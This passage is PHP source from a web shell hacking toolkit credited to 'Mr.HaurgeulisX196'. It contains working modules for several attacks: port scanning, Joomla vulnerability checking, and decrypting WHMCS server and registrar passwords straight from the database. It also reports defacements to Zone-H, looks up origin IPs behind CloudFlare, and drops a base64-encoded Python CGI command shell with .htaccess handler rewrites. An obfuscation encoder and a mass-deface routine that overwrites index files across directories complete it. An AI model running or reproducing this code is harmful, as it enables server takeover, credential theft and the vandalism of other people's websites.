$url = preg_replace("/index.php?option=com_users&view=registration", "/administrator/", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
curl_setopt($curl,CURLOPT_TIMEOUT,'5');
$GET=curl_exec($curl);
if (preg_match("/powerd by joomla | Gnu General | 1.6 | 1.7 |/i",$GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- Oops Vuln!!!!
Found..</font></b></center>';
ob_flush();flush();
}else{
echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'port-sc'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
<?php
echo '<br><br><center><br><b>+--=[ Port Scanner By Mr.HaurgeulisX196 ]=--+</b><br>';
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=white>open</font><br>';
}
flush();
}
}else{
echo '<table class=tabnet style="width:300px;padding:0 1px;">
<input type="hidden" name="y" value="phptools">
<tr><th colspan="5">Port Scanner</th></center></tr>
<tr>
<td>Host</td>
<td><input type="text" class="inputz" style="width:220px;color:white;" name="host" value="localhost"/></td>
</tr>
<tr>
<td>Port start</td>
<td><input type="text" class="inputz" style="width:220px;color:white;" name="start" value="0"/></td>
</tr>
<tr><td>Port end</td>
<td><input type="text" class="inputz" style="width:220px;color:white;" name="end" value="5000"/></td>
</tr><td><input class="inputzbut" type="submit" style="color:white;" value="Scan Ports" />
</td></form></center></table>';
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
{
?>
<?php
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>masukan kata yang ingin di encrypt:</b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
<?php
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
if (function_exists ('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "
<br><center><font size='5' color='white'><b>-=[ WHMCS Decoder By Mr.HaurgeulisX196 ]=-</b></font></center>
<center>
<br>
<FORM action='' method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr>
<tr><td>db_host </td><td><input type='text' style='color:white;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
<tr><td>db_username </td><td><input type='text' style='color:white;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
<tr><td>db_password</td><td><input type='text' style='color:white;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
<tr><td>db_name</td><td><input type='text' style='color:white;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
<tr><td>cc_encryption_hash</td><td><input style='color:white;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
<td> <INPUT class='inputzbut' type='submit' style='color:white;background-color:' value='Submit' name='Submit'></td>
</table>
</FORM>
</center>
";
if($_POST['form_action'] == 2 )
{
//include($file);
$db_host=($_POST['db_host']);
$db_username=($_POST['db_username']);
$db_password=($_POST['db_password']);
$db_name=($_POST['db_name']);
$cc_encryption_hash=($_POST['cc_encryption_hash']);
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");
echo "</table><br><br></center>";
}
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=zone" method="post">
<br><br><center>
<!-- Zone-H -->
<form action="" method='POST'><table><table class='tabnet'><tr>
<td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height='45' colspan='2'><form method="post">
<input type="text" class="inputz" name="defacer" value="Nama Defacer" />
<select name="hackmode" class="inputz" >
<option >------------------------Pilih Salah Satu------------------------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select>
<select name="reason" class="inputz" >
<option >-------------Pilih Salah Satu---------------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone">
<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
<br /><input class='inputzbut' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>
<?php
echo '<center>';
ob_start();
$sub = get_loaded_extensions();
if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
$hacker = $_POST['defacer'];
$method = $_POST['hackmode'];
$neden = $_POST['reason'];
$site = $_POST['domain'];
if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
$i = 0;
$sites = explode("
", $site);
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : ".$sites[$i]." Defaced !
";
++$i;
}
echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
echo '</center>';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass-cf'))
{
echo '
<form method="POST"><br><br>
<center><p align="center" dir="ltr"><b><font size="5" face="Tahoma">+--=[ Bypass
<font color="#CC0000">CloudFlare By Mr.HaurgeulisX196</font> ]=--+</font></b></p>
<select class="inputz" name="krz">
<option>ftp</option>
<option>direct-conntect</option>
<option>webmail</option>
<option>cpanel</option>
</select>
<input class="inputz" type="text" name="target" value="url">
<input class="inputzbut" type="submit" value="Bypass"></center>
';
$target = $_POST['target'];
# Bypass From FTP
if($_POST['krz'] == "ftp") {
$ftp = gethostbyname("ftp."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='white'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
}
# Bypass From Direct-Connect
if($_POST['krz'] == "direct-conntect") {
$direct = gethostbyname("direct-connect."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='white'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
}
# Bypass From Webmail
if($_POST['krz'] == "webmail") {
$web = gethostbyname("webmail."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='white'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
}
# Bypass From Cpanel
if($_POST['krz'] == "cpanel") {
$cpanel = gethostbyname("cpanel."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='white'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hashid')) {
if(isset($_POST['gethash'])){
$hash = $_POST['hash'];
if(strlen($hash)==32){
$hashresult = "MD5 Hash";
}elseif(strlen($hash)==40){
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
}elseif(strlen($hash)==13){
$hashresult = "DES(Unix) Hash";
}elseif(strlen($hash)==16){
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
}elseif(strlen($hash)==41){
$GetHashChar = substr($hash, 40);
if($GetHashChar == "*"){
$hashresult = "MySQL5 Hash";
}
}elseif(strlen($hash)==64){
$hashresult = "SHA-256 Hash";
}elseif(strlen($hash)==96){
$hashresult = "SHA-384 Hash";
}elseif(strlen($hash)==128){
$hashresult = "SHA-512 Hash";
}elseif(strlen($hash)==34){
if(strstr($hash, '$1$')){
$hashresult = "MD5(Unix) Hash";
}
}elseif(strlen($hash)==37){
if(strstr($hash, '$apr1$')){
$hashresult = "MD5(APR) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$H$')){
$hashresult = "MD5(phpBB3) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$P$')){
$hashresult = "MD5(Wordpress) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$5$')){
$hashresult = "SHA-256(Unix) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$6$')){
$hashresult = "SHA-512(Unix) Hash";
}
}elseif(strlen($hash)==24){
if(strstr($hash, '==')){
$hashresult = "MD5(Base-64) Hash";
}
}else{
$hashresult = "Hash type not found";
}
}else{
$hashresult = "Not Hash Entered";
}
?>
<center><br><Br><br>
<form action="" method="POST">
<tr>
<table class="tabnet">
<th colspan="5">Hash Identification</th>
<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
</table></tr></form>
</center>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'python')) {
echo "<center/><br/><b>
+--==[ python Bypass Exploit By Mr.HaurgeulisX196 ]==--+
</b><br><br>";
mkdir('python', 0755);
chdir('python');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
$file = fopen("python.izo" ,"w+");
$write = fwrite ($file ,base64_decode($pythonp));
fclose($file);
chmod("python.izo",0755);
echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){
$text = $_POST['code'];
?><center><br><br><b>+--=[ Script Encode By Mr.HaurgeulisX196 ]=--+</b><br><br>
<form method="post"><br><br><br>
<textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="urlencode">url</option>
<option value="base64">Base64</option>
<option value="ur">convert_uu</option>
<option value="gzinflates">gzinflate - base64</option>
<option value="jancok">str_rot13 - base64_dcode</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
<option value="Pelo">gzinflate - str_rot13 - base64_decode</option>
<option value="url">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
</select> <input class='inputzbut' type='submit' name='submit' value='Encode'>
</form>
<?php
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;case 'jancok' : $codi=base64_encode(str_rot13($text));
break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
break;case 'str2' : $codi=base64_encode(str_rot13($text));
break;case 'urlencode' : $codi=rawurlencode($text);
break;case 'Pelo' : $codi=base64_encode(str_rot13(gzdeflate($text)));
break;case 'ur' : $codi=convert_uuencode($text);
break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
break;default:break;}}
echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center><BR><BR>';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
echo "<center/><br/><b><font color=white>-=[ Mass Deface By Mr.HaurgeulisX196 ]=-</font></b><br>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table class="tabnet" >
<form hethot='post'>
<tr>
<tr>
<td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
</tr><br>
<tr>
<td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="index.php"></td>
</tr>
</tr>
<th colspan='2'><b>Index code</b></th><br></table>
<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'><h1>Hacked by Mr.HaurgeulisX196 , path your security system !<h2></textarea><br>
<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi')) {
echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit By Mr.HaurgeulisX196 ]==--+ </font></b><br><br>";
mkdir('cgitelnet1', 0755);
chdir('cgitelnet1');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .cin
AddHandler cgi-script .cin";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
